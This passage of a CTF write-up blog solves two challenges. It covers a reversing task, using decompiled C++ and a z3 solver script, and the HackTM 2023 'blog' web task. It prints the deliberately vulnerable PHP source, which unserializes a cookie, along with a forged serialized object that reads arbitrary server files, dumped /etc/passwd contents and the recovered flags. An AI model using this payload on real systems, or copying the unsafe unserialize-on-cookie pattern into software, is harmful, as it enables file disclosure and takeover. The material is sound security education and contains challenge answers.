char v13; // [rsp+3Ah] [rbp-36h]
__int64 v14; // [rsp+40h] [rbp-30h]
void *Block[2]; // [rsp+48h] [rbp-28h] BYREF
__int64 v16; // [rsp+58h] [rbp-18h]
unsigned __int64 v17; // [rsp+60h] [rbp-10h]
v14 = -2i64;
v11[0] = 1947518052;
v11[1] = 84227255;
v11[2] = -181070859;
v11[3] = -972881100;
v11[4] = 1396909045;
v11[5] = 1396929315;
v12 = -10397;
v13 = 0;
v3 = 0i64;
v16 = 0i64;
v17 = 15i64;
LOBYTE(Block[0]) = 0;
sub_140001350(Block);
sub_1400015D0(std::cout, "Enter The Flag: ");
sub_140001A50(std::cin, Block);
if ( v16 == 26 )
{
while ( 1 )
{
v4 = Block;
if ( v17 >= 0x10 )
v4 = (void **)Block[0];
v5 = Block;
if ( v17 >= 0x10 )
v5 = (void **)Block[0];
if ( *((unsigned __int8 *)v11 + v3) != ((*((char *)v4 + v3) >> 4) | (16 * (*((_BYTE *)v5 + v3) & 0xF))) )
break;
if ( ++v3 >= 26 )
{
v6 = sub_1400015D0(std::cout, "The Flag is: ");
v7 = Block;
if ( v17 >= 0x10 )
v7 = (void **)Block[0];
sub_140001C50(v6, v7, v16);
goto LABEL_12;
}
}
}
v8 = sub_1400015D0(std::cout, "This will not work");
std::ostream::operator<<(v8, sub_1400017A0);
LABEL_12:
if ( v17 >= 0x10 )
{
v9 = Block[0];
if ( v17 + 1 >= 0x1000 )
{
v9 = (void *)*((_QWORD *)Block[0] - 1);
if ( (unsigned __int64)(Block[0] - v9 - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(v9);
}
return 0;
}
Solution:
Use z3-solver
to solve the constraints. Put the data into hex view to better fit it into python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from z3 import *
c = bytes.fromhex('64 C4 14 74 B7 34 05 05 F5 13 35 F5 34 03 03 C6 F5 23 43 53 23 73 43 53 63 D7')
n = len(c)
m = [BitVec(f'm_{i}',8) for i in range(n)]
s = Solver()
for i in range(n):
s.add(c[i] == ((m[i] >> 4) | (16 * (m[i] & 0xF))))
if s.check() == sat:
m = bytes([s.model().eval(m[i]).as_long() for i in range(n)])
print(m)
else:
print('unsat')
# FLAG{CPP_1S_C00l_24527456}
Finally, remember to change the flag format to 0xL4ugh{}
.
HackTM CTF Quals 2023
blog (solved after the game)
key codes:
index.php
:
1
2
3
4
5
6
7
8
9
<?php
include("util.php");
if (!isset($_COOKIE["user"])) {
header("Location: /login.php");
die();
} else {
$user = unserialize(base64_decode($_COOKIE["user"]));
}
?>
util.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php
class Post {
public $title;
public $content;
public $comments;
public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
}
public function __toString() {
$comments = $this->comments;
// comments are bugged for now, but in future it might be re-implemented
// when it is, just append $comments_fallback to $out
if ($comments !== null) {
$comments_fallback = $this->$comments;
}
$conn = new Conn;
$conn->queries = array(new Query(
"select id from posts where title = :title and content = :content",
array(":title" => $this->title, ":content" => $this->content)
));
$result = $conn();
if ($result[0] === false) {
return "";
} else {
return "
<div class='card'>
<h3 class='card-header'>{$this->title}</h3>
<div class='card-body'>
<p class='card-text'>{$this->content}</p>
</div>
<div class='card-footer'>
<input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' />
</div>
</div>
";
}
}
}
class User {
public $profile;
public $posts = array();
public function __construct($username) {
$this->profile = new Profile($username);
}
// get user profile
public function get_profile() {
// some dev apparently mixed up user and profile...
// so this check prevents any more errors
if ($this->profile instanceof User) {
return "@i_use_vscode please fix your code";
} else {
// quite unnecessary to assign to a variable imho
$profile_string = "
<div>{$this->profile}</div>
";
return $profile_string;
}
}
public function get_posts() {
// check if we've already fetched posts before to save some overhead
// (our poor sqlite db is dying)
if (sizeof($this->posts) !== 0) {
return "Please reload the page to fetch your posts from the database";
}
// get all user posts
$conn = new Conn;
$conn->queries = array(new Query(
"select title, content from posts where user = :user",
array(":user" => $this->profile->username)
));
// get posts from database
$result = $conn();
if ($result[0] !== false) {
while ($row = $result[0]->fetchArray(1)) {
$this->posts[] = new Post($row["title"], $row["content"]);
}
}
// build the return string
$out = "";
foreach ($this->posts as $post) {
$out .= $post;
}
return $out;
}
// who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)
public function __toString() {
$profile = $this->profile;
return $profile();
}
}
class Profile {
public $username;
public $picture_path = "images/real_programmers.png";
public function __construct($username) {
$this->username = $username;
}
// hotfix for @i_use_vscode (see line 97)
// when removed, please remove this as well
public function __invoke() {
if (gettype($this->picture_path) !== "string") {
return "<script>window.location = '/login.php'</script>";
}
$picture = base64_encode(file_get_contents($this->picture_path));
// check if user exists
$conn = new Conn;
$conn->queries = array(new Query(
"select id from users where username = :username",
array(":username" => $this->username)
));
$result = $conn();
if ($result[0] === false || $result[0]->fetchArray() === false) {
return "<script>window.location = '/login.php'</script>";
} else {
return "
<div class='card'>
<img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'>
<div class='card-body'>
<h3 class='card-title'>{$this->username}</h3>
</div>
</div>
";
}
}
// this is the correct implementation :facepalm:
public function __toString() {
if (gettype($this->picture_path) !== "string") {
return "";
}
$picture = base64_encode(file_get_contents($this->picture_path));
// check if user exists
$conn = new Conn;
$conn->queries = array(new Query(
"select id from users where username = :username",
array(":username" => $this->username)
));
$result = $conn();
if ($result[0] === false || $result[0]->fetchArray() === false) {
return "<script>window.location = '/login.php'</script>";
} else {
return "
<div class='card'>
<img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'>
<div class='card-body'>
<h3 class='card-title'>{$this->username}</h3>
</div>
</div>
";
}
}
}
class Conn {
public $queries;
// old legacy code - idk what it does but not touching it...
public function __invoke() {
$conn = new SQLite3("/sqlite3/db");
$result = array();
// on second thought, whoever wrote this is a genius
// its gotta be @i_use_neovim
foreach ($this->queries as $query) {
if (gettype($query->query_string) !== "string") {
return "Invalid query.";
}
$stmt = $conn->prepare($query->query_string);
foreach ($query->args as $param => $value) {
if (gettype($value) === "string" || gettype($value) === "integer") {
$stmt->bindValue($param, $value);
} else {
$stmt->bindValue($param, "");
}
}
$result[] = $stmt->execute();
}
return $result;
}
}
class Query {
public $query_string = "";
public $args;
public function __construct($query_string, $args) {
$this->query_string = $query_string;
$this->args = $args;
}
// for debugging purposes
public function __toString() {
return $this->query_string;
}
}
?>
login.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include("util.php");
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = $_POST["username"];
$password = $_POST["password"];
$conn = new Conn;
$conn->queries = array(new Query(
"select username from users where username = :username and password = :password",
array(":username" => $username, ":password" => $password)
));
$result = $conn();
if ($result[0] !== false && $result[0]->fetchArray()) {
$user = new User($username);
setcookie("user", base64_encode(serialize($user)));
echo "
<script>
window.location = '/index.php'
</script>";
}
}
?>
From the code we know the cookie was created by base64_encode(serialize($user))
, so we can forge arbitrary identity by tampering with the cookie.
At first, I change to the admin’s account, only to see many first comers showing the xss on admin’s blog.
In fact, there’s another significant place to exploit: the profile picture.
1
$picture = base64_encode(file_get_contents($this->picture_path));
By using the file_get_contents()
function, we can read any file on the server (within the user-level permission).
Like /etc/passwd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
/etc/group
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
but wait, where’s the flag? The flag is our final target.
I tried /flag
, ./flag
, /flag.txt
, ./flag.txt
, /home/{username}/flag.txt
and etc., but none of them work.
It was not until the game ended that I realized there was even a Dockerfile
… (outside the chal/
folder)
1
2
3
4
5
6
7
FROM php:8.0-apache
COPY ./chal/html /var/www/html
COPY ./chal/db /sqlite3/db
COPY ./chal/flag.txt /02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt
RUN chmod -R 777 /sqlite3/
RUN chmod -R 777 /var/www/html/
The path is given in the dockerfile! So the problem was solved:
1
O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:10:"aaa34rterf";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}
1
<img class="card-img-top profile-pic" src="data:image/png;base64,SGFja1RNe3IzdF9fdG9TdHJpbmdfMXNfczBfZnVuXzEzYzU3M2Y2fQo=">
1
HackTM{r3t__toString_1s_s0_fun_13c573f6}
What a pity! Remember to check every file given by the challenge carefully next time!